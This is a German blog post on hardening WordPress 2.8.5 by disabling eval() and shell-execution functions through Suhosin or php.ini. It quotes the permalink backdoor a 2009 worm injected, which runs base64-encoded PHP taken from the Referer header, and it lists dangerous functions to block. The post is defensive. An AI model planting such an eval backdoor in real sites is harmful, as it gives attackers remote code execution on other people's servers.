WordPress mit PHPs disabled_functions und suhosin sichern

WordPress hat mit 2.8.5 ein sogenanntes “Hardening-Release” veröffentlicht – die offizielle Ankündigung liest sich etwas schwammig aber beinhaltet eine wichtige Neuerung: Die PHP-Funktion eval() ist aus dem WordPress-Core entfernt wurden.

eval() macht nichts weiter als ihm übergebenen PHP-Code auszuführen. Also wenn es mir als Angreifer gelingt ein eval() innerhalb von WordPress zu platzieren, auszuführen und ein Argument zu übergeben, dann kann ich mit Hilfe von eval() beliegen PHP-Code laufen lassen.

Der WordPress-Wurm der im September und Oktober sein unwesen trieb hat genau dies ausgenutzt und eval() in die Permalinks eingebaut. Dann konnte der Angreifer einen mit base64 Enkodierten Referer-Header ($_SERVER_HTTP_REFERER) als PHP-Code parsen lassen. Vóila fertig ist das Backdoor. Ziemlich Clever.

So sah der entsprechend PHP-Code im durch den Wurm geänderten Permalink dann aus:

eval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)

Damit so etwas in Zukunft bei ähnlichen Lücken nicht mehr möglich ist kann man ab WordPress 2.8.5 in der php.ini eval() deaktivieren.

Hat man die Suhosin-Erweiterung installiert so kann man mit folgenden Code, neben eval() auch weitere potentiell gefährlich Funktionen abschalten:

suhosin.simulation = Off
suhosin.executor.disable_eval=On
suhosin.mail.protect=2
suhosin.executor.disable_emodifier=On
suhosin.executor.func.blacklist = exec, passthru, shell_exec, system, pcntl_exec, proc_open, proc_nice, proc_terminate, proc_get_status, proc_close, leak, apache_child_terminate, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, escapeshellcmd, escapeshellarg, popen, pclose, phpinfo
suhosin.sql.bailout_on_error=On

WordPress ab 2.8.5 läuft damit ohne Probleme. Lediglich PHP-Code-Widgets oder einige Plugins (mir ist im Moment keines bekannt) könnten damit Probleme haben.

Falls kein Suhosin Installiert ist kann man die php.ini-Variable disabled_functions nutzen:

disable_functions = eval, exec, passthru, shell_exec, system, pcntl_exec, proc_open, proc_nice, proc_terminate, proc_get_status, proc_close, leak, apache_child_terminate, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, escapeshellcmd, escapeshellarg, popen, pclose, phpinfo

So sollte es der nächste Wurm oder Angreifer schwieriger haben.

Dieser Eintrag wurde veröffentlicht in tech und getagged , , , , , , . Bookmarken: Permanent-Link. Kommentieren oder ein Trackback hinterlassen: Trackback-URL.

Ihr Kommentar

Ihre E-Mail wird niemals veröffentlicht oder verteilt.

Du kannst diese HTML Tags und Attribute verwenden: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong> <pre lang="" line="" escaped="">